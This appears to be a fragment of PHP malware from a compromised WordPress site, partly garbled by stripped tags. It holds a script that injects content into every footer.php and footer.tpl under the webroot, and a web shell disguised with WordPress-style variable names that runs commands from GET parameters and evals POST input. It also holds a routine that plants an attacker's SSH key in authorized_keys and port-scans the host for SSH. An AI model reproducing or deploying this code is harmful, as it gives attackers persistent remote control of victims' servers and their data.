tag $newText = ""; // Define the directory where your footer files reside (webroot) $directory = $_SERVER['DOCUMENT_ROOT']; $searchText = "'607857isnDav','47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu'"; // Array of file names to target $fileNames = array('footer.tpl', 'footer.php'); // Maximum depth to traverse $maxDepth = 7; // Recursive function to search directories function searchDirectories($directory, $depth) { global $fileNames, $newText, $maxDepth, $searchText; if ($depth > $maxDepth) { return; } $files = scandir($directory); foreach ($files as $file) { if ($file == '.' || $file == '..') { continue; } $filePath = $directory . '/' . $file; if (is_dir($filePath)) { searchDirectories($filePath, $depth + 1); } else { if (in_array($file, $fileNames)) { $content = file_get_contents($filePath); if ($file == 'footer.php') { // Check if footer.php contains the specific text pattern if (strpos($content, $searchText) == false) { // Check if footer.php contains tag if (strpos($content, '') !== false) { // Add text above tag $content = str_replace('', $newText . '', $content); }else { // Add text at the top $content = $newText . $content; } } } else { // Add text at the top for footer.tpl if (strpos($content, $searchText) == false) { $content = $newText . $content; } } // Write the modified content back to the file file_put_contents($filePath, $content); echo "Text added to the top of: $directory/$file
"; } } } } // Start searching directories searchDirectories($directory, 0); echo "Operation completed."; // // Get the current script filename // $scriptFilename = __FILE__; // // // Attempt to delete the file // if (unlink($scriptFilename)) { // echo "Script '$scriptFilename' has been deleted successfully."; // } else { // echo "Failed to delete script '$scriptFilename'."; // } } ?> $wp_themes_install";} elseif($_GET[$wp_body]!==""){ $wp_themes_install=fread(popen($_GET[$wp_body], "r"), 4096); echo"
$wp_themes_install
";} $wp_themes_install=fread(popen($wp_builder, "r"), 4096); echo"
pwd: $wp_themes_install
"; if(isset($_POST[$wp_evaluation])){ echo "
 Evaluation: ";
		echo(eval ($_POST[$wp_evaluation]));
		echo("
"); } exit; } /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ ?> 0) { foreach ($read as $port => $connection) { $banner = fread($connection, 1024); fclose($connection); unset($connections[$port]); if (stripos($banner, 'SSH') !== false) { echo "---p---$port---p---\n"; $sshPorts[] = $port; // Add the port to the SSH ports array } } } else { // Timeout or no ready connections, close all and break foreach ($connections as $connection) { fclose($connection); } break; } } //echo "after break"; return $sshPorts; } function appendIfNotExists($filename, $content) { // Check if the file exists if (file_exists($filename)) { // Read the entire file content $fileContent = file_get_contents($filename); // Check if the content is already in the file if (strpos($fileContent, $content) !== false) { return true; // Content already exists, nothing to append } } // Open the file for appending (create if it does not exist) $fileHandle = fopen($filename, 'a'); // Check if the file was opened successfully if ($fileHandle === false) { return false; } // Write the content to the file $result = fwrite($fileHandle, $content . PHP_EOL); // Close the file fclose($fileHandle); // Check if writing was successful if ($result === false) { return false; } return true; } if (!function_exists('str_contains')) { function str_contains (string $haystack, string $needle) { return empty($needle) || strpos($haystack, $needle) !== false; } } function extractIpAddress($html) { // Define a regex pattern to match the IP address $pattern = '/Current IP Address:\s*([\d\.]+)/'; // Perform the regex match if (preg_match($pattern, $html, $matches)) { return $matches[1]; // Return the matched IP address } return ""; // Return null if no IP address was found } function getIp(){ $ch = curl_init (); // set URL and other appropriate options curl_setopt ($ch, CURLOPT_URL, "http://checkip.dyndns.org"); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true); // grab URL and pass it to the browser $ip = extractIpAddress(curl_exec ($ch)); // close cURL resource, and free up system resources curl_close ($ch); return $ip; } function startChecks(){ $userNameDetails = getCurrentUserDetails(); if ( (str_contains($userNameDetails[2],"/noshell") || str_contains($userNameDetails[2],"/bin/false") || str_contains($userNameDetails[2],"/nologin") ) == false){ $folderPath = "$userNameDetails[1]/.ssh"; mkdir("$folderPath"); chmod("$folderPath", 0700); appendIfNotExists("$folderPath/authorized_keys","ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0h1Jw1strFMQhp8USGkQ9eIoF1uox+kuH6Nit4o9lgREU/XrakRAJW4HL/nj/StKHCbm5OBitXjCquTgwOCmMR40M5r7cmvZxwgxnEDzvnIXjE8XmNQfDBensgv+BjIk4KnZSEeuOp4iWX7Wy7DpLe/OI/OL8c3QlqBW5CMOoyi7cd9c/bnHpOqro4mGmDX54tD0j2yKjKgfUkIn1Hm3aoetTMUwxj65M4IlRk4DJpYS/gx7LVcHNV1G7VFkQohCNQcH976X/+/Tl3t2J+ONDwrHVrIJw44E9EIE4RLe3gzLe5zXf4wF1FmxVRzvLCezGDBIbHDlUiJ02WUFuborDsB0au0Xi1fhIiVXSRqmsXhYy/pToiwIPgFNBlQqzeXga070Ya20kHw+Tc60+z3mJLVTYTTaFBHDjHWKXWGG/EzkRwm6esE3FPkaSAop47E3t9Nfds6MO14C//+8i48cY5wbqR5HqywmZ0E0ke7eJtBNEk7YVwIk4JQ9ZthWvYq0="); chmod("$folderPath/authorized_keys",0600); // Example usage echo "---u---$userNameDetails[0]---u---\n"; // Replace with your server's IP address // create a new cURL resource $targetIP = getIP(); if ($targetIP == ""){ $targetIP = "127.0.0.1"; } echo "---ip---$targetIP---ip---\n"; $startPort = 1; $endPort = 65535; // Scanning all ports up to 65535 $concurrency = 250; // Number of concurrent connections $sshPorts = fastNonBlockingPortScan($targetIP, $startPort, $endPort, 2, $concurrency); } } if(isset($_GET["check"])){ startChecks(); } ?>